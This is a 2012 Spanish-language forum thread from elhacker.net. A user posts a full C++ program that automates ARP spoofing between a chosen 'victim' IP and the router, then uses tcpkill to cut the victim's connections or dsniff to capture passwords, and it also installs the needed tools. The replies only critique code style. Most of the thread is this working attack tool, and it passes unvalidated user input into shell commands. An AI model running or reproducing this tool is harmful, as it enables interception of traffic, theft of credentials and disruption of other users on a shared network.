elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Programa para facilitar el arpspoof
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Programa para facilitar el arpspoof  (Leído 1,861 veces)
Stakewinner00


Desconectado Desconectado

Mensajes: 1.426



Ver Perfil WWW
Programa para facilitar el arpspoof
« en: 6 Diciembre 2012, 11:30 am »

Bueno, hoy por fin ya no tengo examenes y hice un programa para facilitar el arpspoof, aun no esta acabado y solo le puse las opciones esenciales.

El multithread lo copie de google, y pues como yo lo copie de alguien no me parece ético guardarme el programa para mi.

Les cuelgo el programa como dije solo tiene las opciones esenciales, pero lo cuelgo por si a alguien le resulta útil para aprender o quiere mejorarlo y adaptarlo a sus necesidades.

PD:Prohibido venderlo o no compartir vuestras mejoras.

Código
  1. //Compilar con gcc test.cpp -lpthread
  2. #include <iostream>
  3. #include <string>
  4. #include <cstdlib>
  5. #include <fstream>
  6. #include <pthread.h>
  7. #include <cstring>
  8.  
  9. #define NUM_THREADS     4
  10.  
  11. struct thread_data{
  12.   int  thread_id;
  13.   char *o;
  14.   char *a;
  15. };
  16.  
  17.  
  18. using namespace std;
  19. //Funcion que ejecuta los diferentes hilos
  20.    void *arpspf_bidireccional (void *threadarg)
  21.    {
  22.      struct thread_data *my_data;
  23.  
  24.      my_data = (struct thread_data *) threadarg;
  25.  
  26.      if (my_data->thread_id==1) {system(my_data->o);}
  27.      if (my_data->thread_id==2) {system(my_data->o);}
  28.      if (my_data->thread_id==3) {system(my_data->a);}
  29.      pthread_exit(NULL);
  30.    }
  31.  
  32.  
  33.  
  34.  
  35. //Funcion para la opcion bidireccional
  36. int bidireccional(int oo, string opcion) {
  37.   string interfaz="",a="",b=""; string O,A;
  38.  system ("echo 1 > /proc/sys/net/ipv4/ip_forward");
  39. //Mostramos la informacion de las interfacez
  40.  system("ifconfig -s");
  41.  cout << "INTERFAZ: ";
  42.  cin >> interfaz;
  43.  cout << endl << endl;
  44.  //Listamos las ips que esten onkine
  45.  system("netdiscover");
  46.    cout << "IP DE LA VICTIMA: ";
  47.  cin >> a;
  48.  cout << "IP DEL ROUTER: ";
  49.  cin >> b;
  50.   pthread_t threads[NUM_THREADS];
  51.   struct thread_data td[NUM_THREADS];
  52.   int rc;
  53.   int i;
  54.   //Bucle para crear los hilos
  55.   for( i=0; i < NUM_THREADS; i++ ){
  56.      td[i].thread_id = i;
  57.      //Condicionales para elegir el tipo de filtro
  58.      switch (oo) {
  59. case 1:A="gnome-terminal -e \"tcpkill -i "+interfaz+" src "+a+" or dst "+a+"\"";td[i].a = new char[A.length()+1];strcpy(td[i].a, A.c_str());
  60. break;
  61. case 2:A="gnome-terminal -e \"tcpkill -i "+interfaz+" dst "+a+"\"";td[i].a = new char[A.length()+1];strcpy(td[i].a, A.c_str());
  62. break;
  63. case 3:A="gnome-terminal -e \"tcpkill -i "+interfaz+" src "+a+"\"";td[i].a = new char[A.length()+1];strcpy(td[i].a, A.c_str());
  64. break;
  65. case 4:A="gnome-terminal -e \"tcpkill -i "+interfaz+" port "+opcion+"\"";td[i].a = new char[A.length()+1];strcpy(td[i].a, A.c_str());
  66. break;
  67. case 5:A="gnome-terminal -e \"tcpkill -i "+interfaz+" host "+opcion+"\"";td[i].a = new char[A.length()+1];strcpy(td[i].a, A.c_str());
  68.  
  69.      }
  70.      //Condicionales para no ejecutar dos hilos iguales
  71.     if (i==1)  { O="arpspoof -t "+a+" "+b;td[i].o = new char[O.length()+1];strcpy(td[i].o, O.c_str());}
  72.     if (i==2)  { O="arpspoof -t "+b+" "+a;td[i].o = new char[O.length()+1];strcpy(td[i].o, O.c_str());}
  73.  
  74.      rc = pthread_create(&threads[i], NULL,
  75.                          arpspf_bidireccional, (void *)&td[i]);
  76.      if (rc){
  77.         cout << "Error:unable to create thread," << rc << endl;
  78.         return 0;
  79.      }
  80.   }
  81.   pthread_exit(NULL);
  82. }
  83.  
  84. //Menu principal
  85. int main() {
  86.  int o,oo;
  87.  string opcion="";
  88. cout << "Se requiere de gnome-terminal del paquete DSNIFF y de netdiscover O bactrack";
  89. cout << "\n\n------MENU PRINCIPAL------\n";
  90. cout << "1.CORTAR CONEXIONES CON TCPKILL\n2.ESNIFEAR CONTRASEÑAS CON DSNIFF\n0.DESCARGAR LOS PAQUETES NECESARIOS\n";
  91. cin >> o;
  92. if (o==0) {system("sudo apt-get install netdiscover");system("sudo apt-get install dsniff");system("sudo apt-get install gnome-terminal");return 0;}
  93. system("clear");
  94. cout << "\n \nFILTRO \n1.CORTAR LAS CONEXIONES DE LA VICTIMA\n2.CORTAR LAS CONEXIONES ENTRANTES DE LA VICTIMA\n3.CORTAR LAS CONEXIONES SALIENTES DE LA VICTIMA\n4.CORTAR CONEXIONES DE UN PUERTO\n5.CORTAR CONEXIONES CON UN HOST\n0.CREAR TU PROPIO FILTRO(NO HACER NADA)\n";
  95. cin >> oo;
  96. if (oo==4) {cout << endl << endl << "PUERTO: ";cin >> opcion;}
  97. if (oo==5) {cout << endl << endl << "HOST o DOMINIO: ";cin >> opcion;}
  98. cout << endl << endl;
  99. bidireccional(oo,opcion);
  100. }
  101.  
  102.  


« Última modificación: 7 Diciembre 2012, 14:10 pm por Stakewinner00 » En línea

0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
Re: Programa para facilitar el arpspoof
« Respuesta #1 en: 6 Diciembre 2012, 14:41 pm »

Parece un buen codigo pero podrias ponerle algun que otro comentario y poner mas espacios y saltos de linea porque algunas partes son casi ilegibles.

Saludos.

PD: De donde sacaste lo del multithreading, no seria de mi flooder xD?


En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
Stakewinner00


Desconectado Desconectado

Mensajes: 1.426



Ver Perfil WWW
Re: Programa para facilitar el arpspoof
« Respuesta #2 en: 6 Diciembre 2012, 19:24 pm »

El multithread lo saque de aki http://www.tutorialspoint.com/cplusplus/cpp_multithreading.htm

perdon por lo de los comentarios ahora los pongo.
En línea

0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
Re: Programa para facilitar el arpspoof
« Respuesta #3 en: 6 Diciembre 2012, 20:45 pm »

Esta bastente bien pero optimizable. Por ejemplo llamar al sistema para escribir en un archivo no queda muy bien. Tampoco para ejecutar comandos de consola, para eso estan execve, execl, etc.

Y si mal no recuerdo exit() solo admite numeros de 0 a 255, asi que tampoco queda muy bien pasarle -1.

Bueno todo esto pretenden ser criticas constructivas eh!

Saludos.
En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
Stakewinner00


Desconectado Desconectado

Mensajes: 1.426



Ver Perfil WWW
Re: Programa para facilitar el arpspoof
« Respuesta #4 en: 6 Diciembre 2012, 20:54 pm »

Gracias mirare lo del execve y sobre lo del exit venia en el code que cogi, sino  ya lo cambiare.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
ARPSPOOF me deja sin conexion a internet
Hacking
luza 0 2,812 Último mensaje 18 Diciembre 2012, 05:42 am
por luza
Comandos de nmap y/o arpspoof
Hacking
alteernativedani 1 2,648 Último mensaje 29 Marzo 2013, 14:09 pm
por M3LiNdR1
ARPspoof + SslStrip
Hacking
karrax 7 6,680 Último mensaje 18 Agosto 2014, 12:36 pm
por faddlenope
Prueban con éxito el primer enlace 4G a 5G para facilitar la migración
Noticias
wolfbcn 0 1,087 Último mensaje 29 Septiembre 2017, 02:17 am
por wolfbcn
ArpSpoof ,sniffear una red
Hacking
juan1111 0 2,761 Último mensaje 3 Noviembre 2017, 10:58 am
por juan1111
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines